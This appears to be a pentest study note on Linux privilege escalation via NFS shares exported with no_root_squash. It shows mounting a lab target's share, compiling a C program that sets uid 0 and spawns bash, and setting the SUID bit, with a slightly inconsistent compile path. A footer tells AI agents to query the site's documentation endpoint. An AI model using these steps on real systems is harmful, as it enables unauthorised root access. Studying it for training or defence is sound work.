# NFS Root Sqaushing

```bash
cat /etc/exports
```

If we see **no\_root\_squash,** this means that the folder attached is shareable and can be mounted. If we connect to the file share as root, any file that we make in the share will be owned by root and if we add the SUID bit it will be ran as root.

<figure><img src="/files/asqg2IimLU2fAfgBMzkT" alt=""><figcaption></figcaption></figure>

On our machine

```bash
showmount -e 10.10.182.186   <---- Target IP
sudo mount -o rw,vers=3 10.10.182.186:/tmp /tmp/mountme
```

```bash
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme/x.c
```

```bash
gcc /tmp/x.c -o /tmp/x  
```

```bash
chmod +s /tmp/mountme/x
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/linux-privilege-escalation/nfs-root-sqaushing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
